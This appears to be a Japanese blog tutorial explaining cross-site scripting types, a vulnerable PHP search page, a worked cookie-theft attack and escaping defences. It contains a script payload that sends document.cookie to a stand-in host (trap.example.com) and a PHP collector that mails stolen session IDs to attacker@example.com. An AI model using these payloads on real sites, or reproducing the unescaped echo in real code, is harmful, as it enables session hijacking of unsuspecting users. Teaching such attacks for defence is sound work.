クロスサイトスクリプティングについて
XSSと略して表記されます。
まず攻撃者は、インターネット掲示板などの動的なWebサイトにある入力フォームに罠(脆弱性のあるサイトへ誘導するスクリプトを含んだリンク)を設置します。リンクをクリックしてこのようなサイトに誘導されると、ユーザーのブラウザ上で不正なスクリプトが実行され、入力した情報やCookieなどが攻撃者へ漏洩、マルウェアへの感染、なりすましなどの被害が発生します。
クロスサイトスクリプティングが起こってしまう要因は、入力値が制限されていなかったり、入力したスクリプトをそのまま実行できる状態にあり、攻撃者が容易に不正なスクリプトを入力できてしまうことが挙げられます。
■ クロスサイトリクエストフォージェリ(CSRF)との違い
クロスサイトスクリプティング(XSS)に似たものに、クロスサイトリクエストフォージェリ(CSRF)があります。クロスサイトスクリプティングはインターネット掲示板など動的なWebサイトにある入力フォームの脆弱性を狙ったものですが、クロスサイトリクエストフォージェリはセッション管理における脆弱性を狙う攻撃です。
■ クロスサイトスクリプティングの種類
クロスサイトスクリプティングは攻撃手法によって3種類に分類されます
-
ストア型
掲示板など、webサイトに保存されるコンテンツに攻撃スクリプトを仕込むタイプです。攻撃スクリプトがWebサイトに保存されるため、そのスクリプトが削除されない限り永続的に機能し、攻撃します。
攻撃スクリプトが埋め込まれたコンテンツに利用者がアクセスするたびにスクリプト攻撃が実行されるため、該当コンテンツを閲覧したすべての利用者が攻撃を受ける危険性があります。 -
リフレクト型
攻撃者は偽メールや偽サイトに不正なスクリプトを含んだリンクを用意し、リンクをユーザーがクリックすると、対象サイトのコンテンツが表示されると同時に、攻撃スクリプトが実行されます。
クリックしたユーザーのリクエストとして送信されたスクリプトがWebアプリケーションのレスポンスとしてユーザーにそのまま返ることからリフレクト型と呼ばれます。 -
DOM型
DOM(Document Object Model)は、HTMLやXMLを取り扱うためのAPIやデータ構造を定義したものを指します。JavaScriptのコードの脆弱性を悪用した攻撃で、サーバー側ではなく、クライアントのWebブラウザ上で攻撃用の不正なスクリプトが実行されます。また、DOM Based XSSの場合では、静的なHTMLの場合でもJavaScriptが利用されていれば攻撃対象となりえます。
具体例
以下のコードは検索画面の一部を抜き出したものを想定しています。このページはログイン後に使用できるもので、検索キーワードを表示しています。
<?php session_start();
// ログインチェック
?>
<body>
検索キーワード:<?php echo $_GET['keyword']; ?><br>
<!-- 略 -->
<body>
このスクリプトの正常系の動作として、キーワード「Hoge」を指定する場合、以下のURLとなります。
http://example.com/43-001.php?keyword=Hoge
しかしキーワードに以下を指定すると、Cookie の情報がダイアログで表示されてしまいます。(以下はローカルのサーバーで行っています。)
keyword=<script>alert(document.cookie)</script>
受動的攻撃により別人のクッキー値を盗み出す
実際の攻撃では、攻撃者本人のセッションIDを表示しても意味がないので、脆弱なサイトの正規利用者を罠サイトに誘導します。
<html><body>
激安商品情報
<br><br>
<iframe width="=320" height="100" src="http://example.com/43-001.php?keyword=<script>window.location='http://trap.example.com/43-901.php?sid='%B2document.cookie;</script>"></iframe>
</body></html>
このHTMLはiframe要素の中に脆弱サイトのページを表示して、XSS攻撃を仕掛けます。脆弱性のあるサイトの利用者が罠サイトを利用すると、利用者のブラウザ上ではiframeの中で以下の流れでXSS攻撃されることになります。
■ 罠サイトのiframe内で、脆弱なサイトが表示される
ここでは以下のURLで脆弱なページが呼び出されます。
http://example.com/43-001.php?keyword=<script>window.location='http://trap.example.com/43-901.php?sid='%B2document.cookie;</script>
■ 脆弱なサイトはXSS攻撃により、クッキー値をクエリ文字列につけて情報収集ページに遷移する
上記URLのkeyword=以降のJavaScript
<script>window.location='http://trap.example.com/43-901.php?sid='%B2document.cookie;</script>
これによって、クエリ文字列としてクッキー値をつけて情報収集ページhttp://trap.example.com/43-901.php に遷移しています。
■ 情報収集ページは受け取ったクッキー値をメールで攻撃者に送信する
遷移先ページで収集したセッションIDを攻撃者のメールアドレスattacker@example.comに送信しています。
<?php
mb_language('Japanese');
$sid = $_GET['sid'];
mb_send_mail('attacker@example.com','攻撃成功','セッションID:'.$sid,'From: cracked@trap.example.com');?>
?>
<body>攻撃成功<br>
<?php echo $sid; ?>
</body>
このように先の脆弱な検索ページの利用者が罠を利用すると、XSSの仕掛けによりセッションIDが攻撃者にメールされます。攻撃者はこのセッションIDを悪用して成りすまし攻撃が可能です。
クロスサイトスクリプティングの被害例
2010年7月にYouTubeのコメントシステムの脆弱性を狙ったXSS攻撃があり、YouTubeのコメントが閲覧できなくなったり、デマ情報を記載したポップアップ画面の表示、悪趣味なサイトにリダイレクトされるなどの事象に見舞われました。
原因はYouTubeのコメント出力データの暗号化処理に問題があったとみられます。ユーザーのCookieを盗んだ攻撃者は、ユーザーがコメント機能を利用した際にJavaScriptの不正なコードを仕込み、ユーザーのWebブラウザで不正な動作を実行させました。
クロスサイトスクリプティングを防ぐための対策
開発者側:
XSS脆弱性が発生する主要因は、HTMがを生成する際の「<」や「 "」に対するエスケープ漏れです。従って、エスケープの仕方はHTML上の文脈によって異なりますが、以下は共通の対策と言えるようです。
■ 要素内容については「<」と「&」をエスケープする
■ 属性値については「<」,「"」,「&」をエスケープする
また、Webアプリケーション側で想定している文字エンコーディングとブラウザが想定する文字エンコーディングに差異があるとXSSの原因になり得ます。そこで、以下もXSSに対して有効な対策となります。
■ HTTPレスポンスに文字エンコーディングを明示する
利用者側:
- ブラウザなどの動作環境は常にアップデートして最新の状態に保つ
- セキュリティソフトを導入し不正サイトへのアクセスをブロックする
- メール内やWeb上の不審なURLを安易にクリックしない
巷でよく言われていることですね。不審なURLを安易にクリックしないように!!
さいごに
WEBアプリケーションを作成する際には、いろいろなことを考慮する必要があって大変ですね!!